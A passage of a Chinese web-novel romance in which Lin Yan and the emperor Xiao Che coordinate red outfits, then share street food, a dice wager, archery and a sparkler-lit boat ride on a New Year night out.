不过片刻功夫,方才还热闹的厅堂便冷清下来,竟只剩下林砚一个主子还留在家里。 他倒成了最晚出门的那一个。 只因他约的是晚上,约的对象,是当今天子,萧彻。 想到晚上的“约会”,林砚心里就像揣了只活蹦乱跳的兔子,扑通扑通的,搅得他坐立难安。 回到自己房间,他打开衣柜,面对着一排衣物,罕见地犯了选择困难症。 穿什么好? 其实萧彻陆陆续续赏了他不少衣料,命尚衣局给他做的衣裳,无论是用料、做工还是款式,都是极好的,随便拎出一件都足够体面。 可他总觉得不够,总想挑出最好、最合适的一身。 这可是两辈子加起来第一次约会呢。 这件宝蓝色的太沉稳,显得老气;那件竹青色的又太素净,不够喜庆;墨色银纹的倒是华贵,可晚上穿出去会不会太扎眼? 林砚拎起一件又一件,对着铜镜比划,眉头拧成了疙瘩。 在屋子里转悠了半天,衣柜都快被他翻了个底朝天,最后目光落在了一件簇新的锦袍上——是大红色的,用金线暗绣着云纹,喜庆又不会过于张扬,关键是,这颜色衬得他肤色极白,气色也好。 过年嘛,总要穿得红火些。 就它了! 林砚终于定了主意,将这件红衣取出,小心地挂在一旁准备晚些时候换上。 刚松一口气,另一个念头又冒了出来:万一萧彻穿的衣服,跟自己的不搭怎么办?他们可是情侣哎! 林砚想象了一下,自己穿得跟个红包似的,萧彻万一还是一身深色,两人站一块儿,那画面哪里有半点小情侣的样子? 不行,得想个办法。 林砚眼珠一转,想起了那个被自己闲置许久、几乎快要忘了其本职工作的“暗卫密报”渠道。 说干就干。 他迅速铺纸研墨,想了想,提笔写道:“臣今夜拟着赤色金纹袍,陛下若无其他安排,或可择色相近者,以期相配。” 林砚轻车熟路地溜达到墙缝,将密报塞了进去。 做完这一切,他拍拍手,心里有点没底。 这密报,金九还会来取吗? 毕竟他现在的“暗卫”工作重心早就跑偏到十万八千里外了,这渠道许久不用,说不定早已废弃。 林砚哪里知道,萧彻早就将金九划给了他单独使用,名义上是保护兼传递消息,实则更像是专门负责给皇帝“投喂”林砚日常的专属信使。 那密报刚塞进墙缝没多久,一道几乎与阴影融为一体的身影便悄无声息地出现,两根手指精准地夹出纸卷,身形一闪,便朝着皇城方向疾掠而去。 皇宫,御书房内。 萧彻刚处理完几份关于新年各地祥瑞贺表的奏章,眉眼间带着一丝倦意。 年节下的政务虽比平日少些,但各种仪式、赏赐、人情往来,同样耗费心神。 李德福悄步上前,奉上一杯新沏的热茶,低声道:“陛下,金九求见,说是林大人那边有消息。” 萧彻眼底那点倦意瞬间消散,取而代之的是一丝光亮:“传。” 金九入内,无声行礼,将那份小小的密报呈上。 萧彻接过,展开,目光快速扫过那寥寥数语。 当看到“赤色金纹袍”和“择色相近者”时,他先是愣了一下,随即唇角控制不住地向上扬起,一抹极淡却真实的笑意从眼底漾开,连周身惯有的冷冽气息都柔和了许多。 这人……是在琢磨这个? 还特意用密报传来? 萧彻几乎能想象出林砚在衣柜前抓耳挠腮、纠结不已的模样,以及写下这纸条时那副煞有介事又暗含期待的小表情。 他放下纸条,指尖在御案上轻轻点了点,心情莫名地愉悦起来。 “李德福。” “老奴在。”李德福立刻上前。 “去,给朕挑一身云锦朱色料子新做的常服。”萧彻吩咐道,语气轻松,“要绣金纹的。” 李德福多精的人,刚才虽未看见密报内容,但瞧陛下这神色,再联系金九是从林大人处来,心里早已猜了个七七八八。 他脸上堆起笑容,连忙应道:“是,老奴这就去办,陛下放心,定然给您找一身最精神、最合宜的!” 李德福心里暗忖,林大人可真是位妙人,连陛下穿什么都要操心,偏偏陛下还就吃这一套。 这怕是惦记着晚上要出门,想着要跟陛下穿得般配些呢! 李德福在心里给林砚竖起大拇指。 哎哟,这小心思,可真真是…… 李德福脚底生风地去给萧彻选衣服,不多时,便捧着一身崭新的朱色金绣常服回来,身后还跟着两个捧着配套玉带、发冠的小太监。 “陛下,您看这身可好?苏杭新进的云锦,绣工是内廷最好的绣娘所出,颜色正,金线亮,既喜庆又不失威仪。”李德福抖开衣袍,那衣料在光线下流转着华润的光泽,上面的金线低调而精致。 萧彻目光扫过,满意地点点头:“嗯,就这身吧。” 他想象了一下,自己穿上这身,与穿着“赤色金纹袍”的林砚站在一起的模样…… 嗯,应当会相配。 这个念头让萧彻心情愈发好了起来,连带着觉得窗外灰蒙蒙的天色都顺眼了几分。 他抬手示意李德福近前伺候更衣,竟像是有些迫不及待想要试试这身新衣了。 而此时的林府中,林砚对宫中因他一份密报而引起的动静一无所知。 他正对着那身大红锦袍,开始思考晚上是戴那顶镶玉的小冠,还是用一根简单的玉簪束发更好些。 约会嘛,总是让人既期待又忍不住在细节上反复纠结。 尤其是和萧彻的第一次约会。 林砚深吸一口气,告诉自己冷静。 问题不大,只是和对象一起逛个街而已。 ……才怪!这是他第一次约会!第一次! 看着窗外渐渐西斜的日头,林砚只觉得时间过得从未如此缓慢,又如此飞快。 心,早已飞向了即将到来的夜晚。 日头西沉,林府门檐下新换的鲤鱼灯早早亮起,在渐浓的暮色中投下一圈温暖光晕。 林砚一身簇新的赤色金纹锦袍,衬得面如冠玉,他在厅中踱了两步,又坐下,指尖无意识地敲着桌面,时不时朝门外望一眼。 心跳得有些快。 紧脏。 终于,门外传来一阵轻缓的车轮碾过青石板路的声响,并非宫中仪仗的喧哗,而是寻常马车的动静。 林砚精神一振,立刻起身整理了一下并无需整理的衣袍,深吸一口气,做出一副从容模样,缓步迎了出去。 门外停着的是一辆看似普通的青幔马车,比之上次萧彻送他回府的那辆,要简朴不少,若非车辕上坐着的身影是熟悉的李德福,几乎与城中富户所用的无异。 李德福见到他,脸上立刻堆起恰到好处的笑容,利落地跳下车辕,躬身低语:“林大人,请。” 说着,为他掀开了车帘。 车内空间果然如林砚所料,比皇帝规制的小了许多,陈设也简单,只铺了厚实的软垫,角落固定着一盏小灯,散发着柔和光线。 萧彻正坐在其中,闻声抬眼望来。 他穿了一身朱色常服,那相近的色调、同样精致的衣料,在昏黄灯下呈现出一种不言而喻的默契与和谐。 四目相对,萧彻眼底掠过一丝极淡的笑意,目光在林砚身上扫过,像是打量,又像是欣赏,并未言语,却一切尽在不言中。 林砚被他看得耳根微热,心底那点关于“搭配”的小心思被对方精准接住并回应,有种隐秘的欢喜炸开。 他弯身钻进马车,李德福极有眼色地放下车帘,将内外隔开。 马车轻轻一晃,开始缓缓行驶。 空间顿时变得逼仄起来,两人之间的距离近得几乎能感受到对方身上的体温和那熟悉的沉水香气。 林砚原本那点强装的从容立刻现了原形。 他挨着萧彻坐下,中间甚至还隔着一丝缝隙,手臂规规矩矩地放在自己膝上,眼神飘忽,不太敢直视身旁的人。 【啊啊啊好近!这马车也太小了吧!】 【陛下穿红色也太好看了。】 【我该说点什么?今晚月色真美?萧彻也get不到意思啊。】 萧彻听着耳边那熟悉的心声轰炸,看着林砚这副手足无措的模样,唇角弯起的弧度加深了些。 他并未主动开口,只是好整以暇地靠着车壁,仿佛在耐心等待什么。 车轮轱辘,碾过石板路,发出规律的轻响,车厢内一时安静得只剩下彼此的呼吸声。 林砚觉得这安静简直令人窒息。 他偷偷瞟了一眼萧彻,对方神色平静,似乎并无不适。 果然是当皇帝的人,就是沉得住气。 然而他着实不是一个能沉得住气的人。 林砚脑子一抽,忽然生出点破罐破摔的勇气。 车里又没别人!李德福在外面赶车呢! 林砚心一横,屁股往萧彻那边挪了挪。 原本那丝缝隙瞬间消失,两人的衣袍紧紧贴在了一起。 萧彻似乎顿了一下,侧头看他,眉梢微挑,带着询问。 林砚被他看得脸上发烫,但动作却没停,伸出手,试探性地挽住了萧彻的手臂。 触手是柔软微凉的衣料和其下坚实的手臂线条。 萧彻没有动,也没有推开他,只是目光更深了些。 林砚胆子更大了些,干脆将半个身子都靠了过去,脑袋歪着,几乎要枕到萧彻肩上,嘴里还小声嘟囔,像是解释,又像是给自己壮胆:“这马车……有点晃,靠着稳当点。” 说完,他自己先脸红了。 这借口找得可真烂。 萧彻低头,看着那颗毛茸茸的脑袋靠在自己肩侧,手臂被紧紧挽住,温热透过衣料传来。 他听着耳边那明显口是心非的心声,眼底的笑意怎么都按不住。 萧彻从善如流地调整了一下坐姿,让林砚靠得更舒服些,另一只手臂也自然地抬起,轻轻覆在了林砚挽着他的手背上。 掌心温热干燥,将林砚微凉的手指包裹住。 “嗯,是有些晃。”萧彻的声音低沉,没有拆穿林砚,只顺着他的话应道,“靠着吧。” 得到首肯,林砚心里那点小别扭瞬间烟消云散,整个人都放松下来,像只找到热源的猫,惬意地蹭了蹭,彻底将重量交付过去。 【嘿嘿,真好。】 【男朋友的手挺好摸。】 【陛下身上真好闻。】 萧彻感受着肩头的重量和手心里微凉的指尖,听着那毫不掩饰的欢喜心声,只觉得连日来的疲惫和这马车空间的狭小,都变成了恰到好处的温馨。 他指尖无意识地摩挲着林砚的手背,感受那细腻的皮肤和清晰的骨节。 车厢内重新安静下来,却不再是之前的尴尬沉默,而是流淌着一种亲昵而安宁的气息。 窗外的街景、人声渐渐变得喧嚣,显然是到了热闹的坊市。 小灯的暖光将两人依偎的身影投在车壁上,随着马车轻晃,模糊地交织在一起。 林砚甚至有些希望这路再长一点。 萧彻忽然开口,声音很轻,几乎贴着他的耳廓:“这身衣服,很衬你。” 林砚耳根一麻,心跳漏了一拍,下意识地抬头,正好撞进萧彻垂下的目光里。 那双眼眸在昏暗光线下显得格外深邃,里面清晰地映着他的影子,以及毫不掩饰的欣赏。 林砚脸颊腾地一下烧起来,心里的小人又开始疯狂蹦迪。 【他夸我了!他夸我了!】 【啊啊啊这谁顶得住!】 【冷静!林砚!矜持!你要矜持!】 他嘴上却故作镇定,甚至带了点小得意:“陛下这身也很是英武不凡,臣……勉勉强强能配得上吧。” 萧彻低笑出声,胸腔微微震动,透过相贴的身体传来。 他并未反驳,只是收紧了手臂,将人揽得更紧了些,下巴轻轻蹭了蹭林砚的发顶。 “嗯,很配。” 简单的三个字,被他说得低沉而缱绻。 林砚把发烫的脸埋进他肩窝,嘴角却控制不住地高高扬起。 得,矜持是什么?不要了。 马车外,人间烟火气正浓;马车内,春意悄然萌动。 李德福坐在车辕上,听着身后车厢里隐约传来的低笑声,脸上露出了深藏功与名的微笑,轻轻挥了下鞭子。 马车平稳地,驶向灯火处—— 作者有话说:心美哥又美了[坏笑] 第68章 第 68 章 “燕侣莺俦,相伴相随。…… 各色灯笼次第亮起, 暖黄的光晕连成一片,流淌在青石板路上,将冬夜的寒冽驱散了不少。 小贩的吆喝声、食客的谈笑声、孩童追逐嬉闹的脆响, 混杂着各种食物诱人的香气, 织成了一张喧腾而鲜活的网,将人兜头罩进这浓得化不开的市井烟火气里。 林砚深吸一口气, 太香了,这就是人世间的味道。 他下意识想拽萧彻的袖子, 手伸到一半又猛地顿住,讪讪收回。 不行,现在他是“林公子”,旁边这位是“萧公子”,俩大男人拉拉扯扯, 成何体统?虽然他们确实有点那什么,但表面功夫得做足不是? 林砚偷偷瞟了一眼身侧的萧彻。 皇帝陛下戴着那张遮住上半张脸的银质面具,只露出线条分明的下颌和薄唇,通身的贵气被掩去大半,混在熙攘人流里,竟也不算太扎眼。 只是那挺直的脊背和下意识睥睨周遭的眼神, 依旧透着一股与这闹市格格不入的疏离感。 林砚心里那点恶趣味咕嘟咕嘟冒泡。 【嘿嘿, 带皇帝体验平民生活,这项目我能吹一辈子!】 【陛下您可站稳了, 别被这人间烟火气冲撞了龙体。】 萧彻目光扫过一旁卖力吆喝的糖水摊子,语气听不出波澜:“去何处?” “吃饭!”林砚答得干脆,眼睛已经开始滴溜溜四处搜寻目标,“这个点儿,当然要先填饱肚子, 萧公子,今日咱们不吃酒楼,就尝尝这街边巷尾的味道,如何?” 萧彻“嗯”了一声,算是默许。 林砚顿时来了精神,领着萧彻在摩肩接踵的人流里穿梭。 他没往那些看起来还算齐整的食肆走,反而一头扎进了最拥挤,气味最混杂的一片区域。 卖胶牙饧的摊子前围着一群小娃娃,个个仰着脑袋,眼巴巴看着摊主用铁铲搅动锅里浓稠的糖浆,空气里都拉着甜丝的线。 林砚脚步没停。 【这糖粘牙,万一陛下吃着吃着把牙粘下来了,史官是不是得记一笔“帝与林学士夜游,误食饧,齿落”?那我可真成千古罪人了。】 萧彻脚步几不可察地顿了一下,面具下的嘴角似乎抽了抽。 掠过几个香气扑鼻的汤饼摊子,林砚最终在一个围着不少人的胡饼摊前停下。 炉火正旺,面饼贴在内壁,烤得焦黄酥脆,表面撒着一层厚厚的芝麻,散发出纯粹而霸道的焦香。 “老板,来一个胡饼!”林砚摸出铜钱。 “好嘞!”摊主手脚麻利地用铁钳夹出一个烤得恰到好处的饼,用油纸包了递过来。 林砚接过,烫得他左手倒右手,呼呼吹着气,然后极其自然地将饼掰成两半,大的那份递给萧彻:“萧公子,尝尝?这家胡饼味儿正,酥脆掉渣。” 萧彻看着递到面前还冒着热气的半张饼,眼底亮起一点惊讶。 李德福在后面看得眼皮直跳,恨不能立刻冲上去试毒。 萧彻伸出了手,接过那半张与他身份极不相符的街边食物。 林砚已经低头啃上了自己那半块,腮帮子一鼓一鼓,含糊不清地赞叹:“唔,好吃。” 萧彻学着他的样子,低头,隔着面具,小心地咬了一小口。 酥脆的外皮在齿间碎裂,发出细微的“咔嚓”声,面香混合着芝麻香瞬间充盈口腔。 确实不错。 比他想象中要好得多。 林砚一边嚼着饼,一边留意着萧彻的反应,见他吃了,心里暗笑。 【看来陛下也不是喝露水长大的嘛。】 【下一步,争取带陛下蹲路边吃臭豆腐!】 萧彻咀嚼的动作微妙地停滞了一瞬。 臭豆腐?是何物?听着不像什么正经吃食。 吃完饼,林砚意犹未尽,又拉着萧彻挤到一个烤串摊子前。 肥瘦相间的羊肉串在炭火上滋滋作响,油脂滴落,爆起一小簇火焰,孜然和辣子面的辛香强势地攻城略地。 “老板,十串羊肉,多放辣!”林砚熟门熟路。 很快,一把烤得焦香油亮的肉串递到手里。 林砚先递给萧彻几串:“这个趁热吃才香!” 萧彻看着那竹签尖上颤巍巍、还沾着辣椒末的肉块,有点怀疑自己能不能吃这么辣。 林砚已经撸起袖子开干了,一口咬下,被烫得嘶嘶吸气,却一脸满足。 萧彻沉默地看着他吃得嘴角冒油,再看看自己手里那几串颇具冲击力的食物,仿佛在进行某种艰难的心理建设。 最终,他还是尝试着咬了一口。 羊肉烤得外焦里嫩,浓郁的香料气息掩盖了可能的膻味,辣意后知后觉地涌上,刺激着味蕾。 嘶……很辣。 但是很好吃。 林砚看着他吃完一串,心里的小人已经在鼓掌了。 【进步神速!值得表扬!】 【下次可以挑战烤腰子了!】 萧彻:“……” 路过一个卖酒水的小摊,果酒的甜香勾得林砚心痒痒。 “老板,这葡萄酒怎么卖?”;林砚凑过去。 “林公子。”萧彻的声音适时响起,提醒道,“你酒量浅。” 林砚想起自己那杯倒的黑历史,瞬间蔫了。 【唉,形象尽毁。】 【我是个酒精废物。】 “就尝一口,就一小口。”林砚试图挣扎,伸出两根手指比划着,眼巴巴地看着萧彻。 那眼神,在灯火下亮得有些犯规。 萧彻与他对视片刻,败下阵来,对摊主道:“一杯。” 摊主斟满一杯深红色的葡萄酒。 林砚接过来,像完成仪式般小心翼翼地抿了一口,酸甜的滋味在舌尖荡开,带着淡淡的酒意。 然后,他极其自然地将剩下的酒杯递向萧彻,眼睛弯弯:“味道不错,萧公子也尝尝?” 这动作做得行云流水,全然没有君臣之别。 萧彻看着那杯沿上可能还沾着对方唇迹的酒杯,眸光深了一瞬。 他并未直接接过,而是就着林砚的手,微微低头,就着那个位置,将杯中剩余的酒液一饮而尽。 动作优雅,却带着某种难以言喻的亲昵和占有欲。 林砚举着空杯子,愣在原地,耳朵尖悄悄红了。 【间接接吻?】 【陛下您这操作有点骚啊。】 【不过……嘿嘿。】 萧彻直起身,仿佛刚才只是做了一件再寻常不过的事,语气平淡:“尚可。” 李德福在后面默默望天,假装自己是个瞎子。 一路走,一路吃。 林砚看到什么新奇的都想试试,买一堆,自己吃两口,剩下的自然都进了萧彻的肚子。 看着平日里高高在上、膳食都要银针试毒的皇帝,此刻跟自己并肩站在闹市里,手里拿着串烤蘑菇,还吃得挺认真,林砚心里有种荒谬又得意的成就感。 他忍不住噗嗤一声笑了出来。 萧彻闻声侧头看他,面具下的眼神带着询问。 “没什么,”林砚摆摆手,眼睛笑得像月牙,“就是觉得,这样挺好的。” 萧彻目光在他笑脸上停留片刻,轻轻“嗯”了一声。 就在这时,萧彻在一个卖春幡胜的摊子前停下了脚步。 不同于别处卖的年画、剪纸,这个摊子上的春幡胜都是用各色绸缎、彩纸、羽毛精心扎制而成,形态各异,栩栩如生,在灯火下流光溢彩。 摊主是个手巧的老婆婆,见有客人驻足,笑眯眯地招呼:“公子看看?买一对戴上,讨个新春吉利!” 萧彻的目光在那些精致的胜物上掠过,最后停留在一对燕子形状的胜子上。 那燕子用玄色绸缎为底,用银线勾勒出羽毛纹理,眼睛处缀着两颗小小的黑曜石,尾巴剪得极俏皮,活灵活现。 他拿起那只燕子胜,转身,极其自然地抬手,就要将它别在林砚的发髻上。 林砚吓了一跳,下意识想躲:“哎?我不用这个……” “别动。”萧彻手疾眼快,给林砚别在了头上。 林砚僵住,感觉那微凉的手指轻轻拂过自己的鬓发,将那枚燕子胜仔细地别在了发髻一侧。 动作轻柔,甚至带着点小心翼翼的意味。 “好了。”萧彻端详了一下,语气里透出几分满意,“很衬你。” 林砚下意识摸了摸发髻上多出来的东西,脸颊有些发烫。 【不过为什么是燕子?夸我活泼可爱?】 “燕侣莺俦,相伴相随。”萧彻听到了他的心声,淡淡解释了一句。 林砚的脸“轰”一下更红了。 这、这算是情话吗? 从萧彻嘴里说出来,杀伤力有点大啊! 林砚眼神飘忽,不敢看萧彻,目光扫过摊子,忽然看到一枚用粉色绸缎和绢纱做成的花朵形状胜子,做得十分娇俏可爱。 恶向胆边生。 林砚拿起那朵花胜,鼓起勇气,对萧彻道:“低头。” 萧彻挑眉,似乎有些意外,但还是依言微微俯身,低下头来。 林砚踮起脚尖,小心翼翼地将那枚花朵胜子,别在了萧彻束发的玉冠旁。 墨发玉冠,旁斜逸出一朵粉嫩的花朵,这组合着实有些……诡异又好笑。 尤其是配着萧彻那通身的冷峻气质和脸上的银质面具,反差感拉满。 林砚憋着笑,端详了一下自己的“杰作”,一本正经地点头:“嗯,好看,人比花娇。” 萧彻直起身,抬手似乎想摸摸那朵花,最终又放下手,只看着林砚那副努力憋笑的狡黠模样,眼底掠过一丝纵容和无奈。 “顽皮。” 两人互相顶着风格迥异的春幡胜,站在人来人往的闹市里,看着对方。 无需言明的亲昵氛围悄然弥漫开来,将周遭的喧嚣都隔离开来。 李德福在不远处瞧着,只觉得那朵颤巍巍的粉色小花在陛下发间晃啊晃,晃得他老人家眼睛疼,赶紧又低下头去。 没眼看,真是没眼看。 林砚看着萧彻顶着那朵小花,还是一脸严肃的样子,终于忍不住,哈哈大笑起来。 萧彻看着他笑,面具下的唇角,也缓缓勾起一个清晰的弧度。 今夜,甚好—— 作者有话说:[垂耳兔头][垂耳兔头][垂耳兔头] 第69章 第 69 章 “昭临,萧昭临。”…… 林砚拉着萧彻的衣袖, 在一家瞧着颇为热闹的茶楼前停下脚步。 仰头一看,匾额上写着“清音阁”三个字,里头传出阵阵笑语和隐约的棋子落盘声。 “萧公子, 走了这许久, 腿都快不是自己的了,不如进去歇歇脚?”林砚眨眨眼, 问着征求萧彻意见的话,却已经拉着萧彻往里走, “听说这家除了茶水点心,还有些玩意儿能解闷。” 萧彻自然无有不应,颔首道:“依你。” 两人相携进入茶楼堂内温暖如春,茶香混着点心甜香扑面而来。 伙计眼尖,见二人气度不凡, 忙引着上了二楼雅座。 这里比楼下清静些,用屏风略略隔开,邻座有几桌客人正在下棋或玩着双陆,低声谈笑。 点了壶上好的云雾茶并几样精细茶点,林砚的目光便溜向了墙角处摆放的双陆棋盘和投箸,眼睛一亮:“萧公子, 枯坐饮茶也无趣, 不如手谈一局?” 萧彻自是无可无不可。 棋盘很快摆上。林砚执白,萧彻执黑。 几轮投箸行棋下来, 林砚发现萧彻棋风稳健,步步为营,颇有章法,一看便是自幼受过严格教导的。 而他嘛……现代社会网上冲浪,各种棋牌游戏瞎玩过不少, 路子野得很。 又一轮林砚掷出个好点数,眼看就要将萧彻一枚棋子逼回起点,他忽然起了促狭之心。 指尖拈着那枚白玉棋子,却不落下,只是笑吟吟地看着萧彻:“萧公子,光是行棋似乎缺了点彩头,不如我们添点小赌注?” 萧彻抬眸,面具下的眼神看不出情绪:“哦?林公子想赌什么?” 林砚身子往前倾了倾,压低了声音,语气里带着点儿耍无赖的狡黠:“我若赢了,便让我亲你一下,你若赢了,便让你亲我一下,如何?” “噗——”旁边竖着耳朵假装把玩小花瓶实则暗中观察的李德福,差点把手里的瓶儿给摔了,赶紧死死捂住嘴,憋得脸红脖子粗,内心疯狂呐喊:林大人!我的林大人诶!您可真敢说啊!这、这这这……这是能当着陛下的面说的吗?! 萧彻执棋的手指明显顿在了半空。 隔着面具,林砚都能感觉到那视线骤然变得深沉,雅座内的空气仿佛凝滞了一瞬,只听得见楼下隐约的喧哗和棋子落盘的轻响。 林砚心里也在打鼓,玩脱了?萧彻该不会觉得我轻浮吧? 但话已出口,覆水难收,林砚只能硬着头皮,维持着脸上那点强装镇定的笑意,与萧彻对视。 半晌,就在林砚以为萧彻要拒绝时,却见那停顿的手指缓缓落下,将棋子移到了安全的位置。 然后,萧彻开口了,声音透过面具,比平日更低沉沙哑几分,带着难以言喻的意味:“依你。” 林砚:“!!!” 眼睛瞬间瞪圆了,林砚差点以为自己幻听。 【答应了?居然答应了?!】 【陛下这么纯情的吗?这种明显占便宜的赌注都接?】 【等等!他该不会是真想亲我吧?!】 林砚心里嗷嗷叫,脸上却努力绷着,干咳一声:“萧公子爽快!那、那继续?” 接下来的对局,气氛就变得极其微妙起来。 林砚本是抱着玩笑的心态,想着逗逗这位看似深沉莫测的皇帝陛下,谁知对方竟真的接了招。 这下他反倒有点骑虎难下,胜负心莫名其妙地被勾了起来——赢了吧,真亲?虽然好像也不亏……输了吧,被亲?好像……更不亏? 不对!重点不是这个! 重点是林砚怎么能输! 于是林公子开始拿出十二分的精神,各种现代网上打游戏练出来的骚操作层出不穷,虚晃一枪、暗度陈仓、甚至算起了概率,恨不得把当年玩大富翁的劲儿都使出来。 萧彻的棋风依旧稳健,但明显能感觉到,他落子的速度慢了些,时不时会抬眼看向对面那个绞尽脑汁、眉头微蹙、嘴里还嘀咕着“这破骰子点数能不能大一点”的林砚,面具下的唇角压根藏不住。 最终,还是林砚棋高一着,或者说骚操作更胜一筹,凭借一个险之又险的点数,将最后一枚棋子移回了终点。 “赢了!”林砚下意识地一拍桌子,差点把茶杯震翻,脸上扬起得意的笑容,看向萧彻,“萧公子,承让承让呀!” 话一出口,他才猛地想起那个赌注,笑容瞬间僵在脸上。 【啊这……赢了,然后呢?】 【真亲啊?在这里?大庭广众?】 【李德福还在旁边看着呢!】 林砚的脸后知后觉地开始升温,眼神飘忽,不敢去看萧彻,端起茶杯猛灌一口,试图掩饰尴尬:“咳咳,那个,赌注什么的,玩笑之言,玩笑之言,萧公子不必当真……” 萧彻却缓缓放下了手中的棋子,身体微微向后,靠在了椅背上,目光好整以暇地落在林砚那泛红的耳根上:“林公子这是要赖账?” “……”林砚被噎了一下,差点呛着。 他瞟了一眼萧彻,只见对方虽然戴着面具,但那姿态分明就是“朕愿赌服输,你看着办”。 箭在弦上,不得不发。 林砚把心一横,飞快地扫视四周。 很好,屏风挡得还算严实,李德福不知何时已经非常识趣地背转过身,面朝墙壁,跟面壁思过似的。 林砚像是要赴刑场般,雄赳赳气昂昂,猛地凑过去,以迅雷不及掩耳之势,在萧彻没有面具遮挡的侧脸上,飞快地啄了一下。 一触即分。 快得几乎像是错觉。 做完这一切,林砚像被烫到一样弹回自己的座位,心脏砰砰狂跳,脸颊红得能滴出血来,抓起茶杯又是一通猛灌,根本不敢看萧彻的反应。 萧彻似乎愣了一下。 他能感觉到那一下触碰轻得像羽毛拂过,那一瞬间林砚靠近带来的微热呼吸,和那副羞窘欲绝、强作镇定的模样,清晰地落在他眼中。 悸动和暖意,如同投入热水的蜜糖,丝丝缕缕地化开,蔓延至四肢百骸。 萧彻抬手,指尖极轻地碰了碰刚才被亲到的面具位置,随即放下,喉结几不可察地滚动了一下,再开口时,声音比刚才更哑了几分:“嗯,赌注两清。” 林砚听到这话,才偷偷松了口气,又有点莫名的失落,感觉还不够,他赶紧甩甩头,把这危险的念头甩出去。 你要矜持! 为了缓解这诡异又暧昧的气氛,林砚目光四处乱瞟,忽然看到雅座另一头靠窗的地方,竟还设着一个小巧的箭垛,旁边挂着几张装饰用的软弓,显然是给客人玩乐用的。 “萧公子,你看那边还能射箭呢!”林砚立刻像是找到了救星,“不如我们去玩玩?” 萧彻顺着他的目光看去,自是点头。 两人走到箭垛前。 林砚拿起一张弓,入手颇轻,是给寻常客人玩乐的软弓,箭镞也是圆头的,伤不了人,他装模作样地拉了两下,然后开始他的表演。 “哎呀,这弓怎么使来着?”林砚歪歪扭扭地摆了个极其不标准的姿势,扭头看向萧彻,眼神那叫一个真诚无辜,“萧公子一看便是此道高手,不如教教我?” 萧彻看着他这副明显“求教”实则“求撩”的模样,眸光深了深,从善如流地走上前:“好。” 他站到林砚身后,几乎是贴着林砚的脊背,右手绕过林砚的身侧,覆上了他握着弓的手,左手则轻轻搭在了他拉弦的左臂手肘处,帮他调整姿势。 “手要稳,肘抬平,目光望准星……”萧彻的声音低沉,响在林砚的耳边,温热的气息拂过他的耳廓。 林砚整个人瞬间僵住,大脑“嗡”地一声。 好近! 萧彻的胸膛几乎紧贴着他的后背,隔着厚实的衣料,都能感觉到那温热坚实的触感。 握着他的手干燥而有力,指尖带着常年握笔习武留下的薄茧,摩挲着他的手背和手指,带来一阵阵细微的战栗。 那低沉的嗓音像带着小钩子,直往他耳朵里钻,钻得他心慌意乱,脸颊刚刚褪下去的热度再次轰然上涌,比刚才更甚。 【要命要命要命!腿软了啊!】 【这教学也太贴身了吧!】 【陛下你是不是故意的?】 【我这是把自己给坑了?!】 林砚心跳如擂鼓,手指都有些发软,根本集中不了精神去听萧彻在讲什么射箭要领,全部的感官都用来感受身后那个存在感极强的怀抱和耳边灼热的呼吸了。 萧彻似乎并未察觉他的走神,依旧认真地“教学”,手臂微微用力,带着林砚的手将弓拉满,身体贴得更紧,几乎是严丝合缝,他能清晰地感觉到怀中身体的僵硬和微微的颤抖,还有那红得几乎要滴血的耳垂和颈侧皮肤。 强烈的满足感和某种恶劣的愉悦感涌上心头,萧彻故意将声音放得更缓更低,几乎贴着林砚的耳廓:“看准目标,呼吸放平,然后松手。” 随着最后一个音节落下,他握着林砚的手倏然松开。 “嗖——” 那支箭软绵绵地飞出去,有气无力地擦过箭垛边缘,掉在了地上。 林砚:“……”丢人丢大发了。 萧彻低低地笑了一声,胸腔的震动清晰地传递过来。 他非但没有松开林砚,反而就着这个从背后环抱的姿势,下巴几乎要搁在林砚的肩窝,慢条斯理地问:“看来林公子确实手生得很,可要再试一次?” 那语气里的调侃和某种深意,让林砚脚趾头都蜷缩了起来。 “不、不用了!”林砚像只受惊的猫,猛地从萧彻怀里挣脱出来,连退两步,眼神飘忽,语无伦次,“我突然觉得有点热,对,太热了!歇、歇会儿就好!” 林砚手忙脚乱地抓起旁边桌上已经凉透的茶水,咕咚咕咚灌了下去,试图浇灭脸上的火气和心里的躁动。 萧彻看着他这副慌不择路的模样,眼底的笑意更深,总算没再逼近,只负手而立,好整以暇地看着他。 在茶楼又磨蹭了一会儿,喝了点茶,吃了些点心,林砚脸上的热度才勉强降下去。 看看窗外华灯初上,林砚便提议离开。 出了茶楼,晚风一吹,林砚才觉得脸上的热气彻底散了。 偷偷瞄了一眼身侧的萧彻,对方依旧是那副八风不动的样子,仿佛刚才在茶楼里那个贴身教学,语带调侃的人不是他。 当皇帝的果真稳得住,比不了比不了。 萧彻却像是想起了什么,侧头问他:“可还走得动?” 林砚这才觉出腿脚确实有些酸软,老实点头:“有点累。” “前面河边有租船的,可要泛舟夜游?”萧彻提议道,语气自然。 林砚眼睛一亮:“这个好!” 临上船前,林砚眼尖地看到河边有个小摊在卖手持的烟花棒,细长的一根,点燃后能滋滋地喷出金色或银色的火花,煞是好看,他立刻跑过去买了一把,宝贝似的揣在怀里。 租的是一艘不大的乌篷船,船夫在船尾安静地摇橹,船篷里铺着软垫,中间还固定着一盏防风的小油灯,光线昏黄柔和。 小船缓缓离岸,滑入被两岸灯火映照得波光粼粼的河面。 水声潺潺,桨声欸乃,远离了岸上的喧嚣,顿时有种闹中取静的悠然。 林砚掏出那把小烟花,献宝似的递给萧彻几根:“萧公子,玩过这个吗?” 萧彻接过那细长的纸卷,看了看,摇头:“家中规矩严,幼时或许见过,未曾亲手玩过。” 他自幼被当作储君培养,一言一行皆有法度,这种孩童嬉戏的玩意儿,离他很远。 林砚顿时来了精神,一种“教皇帝玩小孩玩意儿”的成就感油然而生,拿出火折子,先给自己手里的那根点燃。 “嗤”的一声,金色的火花瞬间喷涌出来,像一束小小闪耀的星泉,在他手中欢快地跳跃闪烁,映亮了他带笑的脸庞和明亮的眼眸。 “你看,就这样,拿着就好,很安全的,火花烫不着手。”林砚示范着,将烟花棒递到萧彻眼前晃了晃,“你试试?” 萧彻看着那近在咫尺跳跃闪烁的金色光芒,又看看林砚那兴致勃勃的模样,学着他的样子,将手中的烟花棒凑近林砚手中的火源。 引信点燃,银色的火花随即喷出,与他手中的金色焰火交相辉映。 两人并肩坐在船头,手里各执着一根燃烧的烟花棒,小小的火焰在夜色中安静地绽放,明明灭灭,照亮方寸之地,也映照着彼此近在咫尺的侧脸。 河水温柔地拍打着船帮,远处有模糊的歌声随风飘来。 